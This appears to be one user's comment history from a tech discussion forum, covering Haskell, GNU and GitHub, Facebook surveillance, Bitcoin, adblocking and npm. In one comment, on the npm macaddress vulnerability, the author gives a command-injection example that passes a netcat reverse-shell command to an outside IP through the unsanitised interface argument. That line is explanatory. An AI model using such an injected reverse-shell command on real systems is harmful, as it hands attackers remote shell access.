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parenthephobia

It's impossible to pass around functions without arguments in Haskell, because there are no functions without arguments in Haskell. It looks like the same is true of Gluon. (So you don't really pass around the function name: you pass around the variable which contains the result of evaluating the expression.)

In languages where there can be functions with no arguments, if referring to the function without parentheses calls it, it can be inconvenient to get a reference to the function itself.

Re:Critical vulnerability of NPM package macaddress on Monday June 11, 2018 @09:47AM (#17284119)
Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})
Re:Please, no GitHub (2015) on Saturday June 09, 2018 @09:24PM (#17275927)
Context is king. In this thread, RMS criticises Github as a place for hosting GNU projects.

RMS, who leads the FSF, which owns GNU, thinks that GNU projects should not be hosted on services which encourage users to run proprietary software on their PC, or which don't encourage users to use the FSF's preferred license.

To me, this stance does not seem at all nonsensical.

Re:RMS on GitHub (2015) on Monday June 04, 2018 @11:35AM (#17228827)
His actual point, in context, was that GNUstep shouldn't be hosted on GitHub because in doing so the GNU project is effectively inviting users to run GitHub's non-free software on their computer.
Re:Shutting Down Forum (GDPR) on Friday June 01, 2018 @06:59PM (#17211229)
> they will target you through payment processors and ad networks

How will they do that, and on what legal basis?

Re:HTTP headers we don't want on Wednesday May 16, 2018 @08:34AM (#17081853)
> If you are under attack

If. Much, if not most, server software is written under the implicit assumption that it will not be under attack.

Re:Airbnb's new typeface on Wednesday May 16, 2018 @08:28AM (#17081823)
Whilst "what a VC-funded startup should be burning money on" is something that the investors should have input on, I don't think random people on the Internet get to be the gatekeepers for what a company is allowed to do with their investors' money.
Legal dictionaries are useful for looking up legal terms of art, but they are not binding on courts. After all, anyone can publish one.

In the US at least, courts prefer to use the common meaning of words whenever it's reasonable to do so. If the common meaning doesn't make sense in context, they won't simply fall back on a legal definition, but will look for evidence of what the parties actually intended the words to mean.

In the case of disparagement, several courts have held that the common meaning of "disparage" is what applies to non-disparagement clauses.

https://www.michiganemploymentlawadvisor.com/terminating-the... https://caselaw.findlaw.com/me-supreme-judicial-court/107021... https://caselaw.findlaw.com/ga-court-of-appeals/1448243.html

Re:GNU Mcron on Saturday May 05, 2018 @02:58PM (#17003211)
oddjob isn't part of systemd and doesn't use systemd.
> It's OK to make mistakes.

A sentiment that is harder to sell if people erase all evidence of their mistakes.

Re:Hello Go on Monday April 30, 2018 @12:40PM (#16960076)
> it seems most developer prefer to build complex systems using simple languages, rather than build simple systems using complex languages

According to TIOBE, 1% of programmers are using Go, whilst 23% are using Java or C++.

If that is to be believed, developers do not appear to prefer simple languages. Or, Java and C++ are simple languages. Or, language selection is not based on preference.

Re:I was Zuckerberg’s speechwriter on Tuesday April 17, 2018 @11:50AM (#16859451)
If we must make this comparison, most actual companies are totalitarian dictatorships.

> We can all opt out of Facebook.

Can we? What is the practical effect of doing so? Will they stop tracking us on the web? Will they stop gathering data about us via people with whom we are associated?

Facebook is a crowd-sourced global surveillance program from which there is no real opt-out and over which there are no checks and balances because most of the people running it don't even think they're running a surveillance program.

Re:Void Linux: Into the Void on Sunday March 25, 2018 @09:30AM (#16672081)
> something that's been working fine since the 1980s has recently been declared broken

Void Linux uses runit, which was released in 2004, so I guess they agree.

None, intrinsically.

But, receiving, storing, and/or processing personal data without consent is, in most situations, likely to be against the the Privacy and Electronic Communication Regulations and the Data Protection Act. Additionally, information about political affiliation.

The key point in this case is that CA didn't have consent. CA don't dispute this, but say that they believed at the time that they did. It is a defence to show that you "exercised all due diligence" in complying.

ICO will be looking for not only evidence of the actual use of personal data, but also evidence regarding whether and to what extent CA were knowingly or recklessly non-compliant.

Re:Why I Don't Like Golang (2016) on Monday February 19, 2018 @07:42PM (#16416988)
> The sort package has addressed this concern.

How? Looking at the documentation, you still have to write at least three functions for each type you want to sort.

Re:Why I Don't Like Golang (2016) on Monday February 19, 2018 @07:27PM (#16416930)
I don't understand your point about sorting. What sort-related Java boiler plate are you referring to?
Re:Post-mortem of this weekend's NPM incident on Friday January 12, 2018 @08:09AM (#16132526)
I think package URIs should include a secure hash of their contents.

Although you won't get updates without asking for them - I'm not sure that's a bad thing - you can be assured that you'll either get the package you were expecting or no package at all.

Re:2018 Is the Last Year of America's Public Domain Drought on Tuesday January 02, 2018 @05:45AM (#16051135)
Major companies think the current situation isn't anywhere extreme enough. Their customers have some rights, and some courts will even let them exercise them: that's unacceptable.

There's no chance Disney will be happy with any solution which involves losing any level of control over any copyright they currently own (or will own in the future).

Although they would, I'm sure, be happy for other people to have to pay to maintain their copyright, making it easier to plagiarise poorer creators.

> Do you go into stores and demand they take down the displays that you don't like while you're shopping?

No, but stores are usually happy for me to not look at the displays if I don't want to. Staff don't follow me around putting up displays in front of the shelves I'm looking at, sneaking things I don't want into my basket, or following me after I leave the store to keep showing me displays. Nor do they outsource these things to unvetted lowest bidders, and swear off responsibility when the people they've contracted steal my car whilst I'm in the shop.

> If you invite a friend to your house do you expect them to show up with 50 other people?

But if you say no, your friend has the choice of whether to come alone.

Anti-anti-adblocking systems prevent your friend from making that choice.

Ads appearing when you don't block them isn't really an issue.

When you are blocking ads, do you click on them? I wouldn't: I'd instead be annoyed that I'm seeing ads when I have an adblocker running.

Re:A sexual harassment survey of 600 men on Thursday December 28, 2017 @02:22PM (#16024202)
> This is a bit ridiculous, as the questions aren't specific.

The issue is the editorialising the results, and not providing the other questions they asked, the actual results, or a more detailed description of the methodology.

If they did that we could ignore the article and potentially discovery something useful in the results.

> Also, what is a SQL server reporting system doing asking people about sexual harassment?

That's gone over my head.

Re:Why We're Updating the Minimum BitPay Payment Amount to $100 on Thursday December 28, 2017 @12:40PM (#16023473)
Whereas I can set up a Paypal account in a few minutes, even if I'm not computer savvy.
Re:Warren Buffett: Bitcoin Is Pure FOMO on Thursday December 28, 2017 @08:14AM (#16021809)
> That's why I've never bought a computer - next year there will be a faster and cheaper one on the market.

Computers are practically useful. If you buy a computer now instead of waiting, it's because the the cost of not buying it later is outweighed by the utility of having it now.

The spending of Bitcoins has no inherent practical value. So long as you believe the value of Bitcoins will go up more than your local fiat currency, the rational thing is to keep the Bitcoins and spend your fiat, unless your Bitcoins are the only money you have.

I don't want this to happen.

On servers, in almost every situation, I'd rather have the server reboot than have some random process crash and leave the system in a potentially broken state.

On desktops, in every situation, I'd rather have X, my window manager and an emergency terminal pinned to RAM so I can always decide what to kill for myself. (https://github.com/stiletto/angrymlocker helps with setting this up.)

Re:Is Bitcoin a Bubble? Economists Say ‘Yes’ on Thursday December 14, 2017 @09:31PM (#15929271)
Sounds like reverse survival bias to me. Experts are usually right, so people make financial decisions on that basis. When it turns out the experts were wrong, those decisions don't pan out. The worse the outcome, the more likely we are to hear about it. We don't hear about all the times that following expert advice doesn't lead to an economic disaster, even though it happens nearly every day.
Lincoln, Nebraska. Population approx. 350k.

Do you imagine that adding an extra million people would not effect the cost of living or the vibrancy of the economy?

Re:Don't get caught up in blockchain hype on Thursday December 14, 2017 @07:02AM (#15921612)
What value do bitcoins have other than their price?

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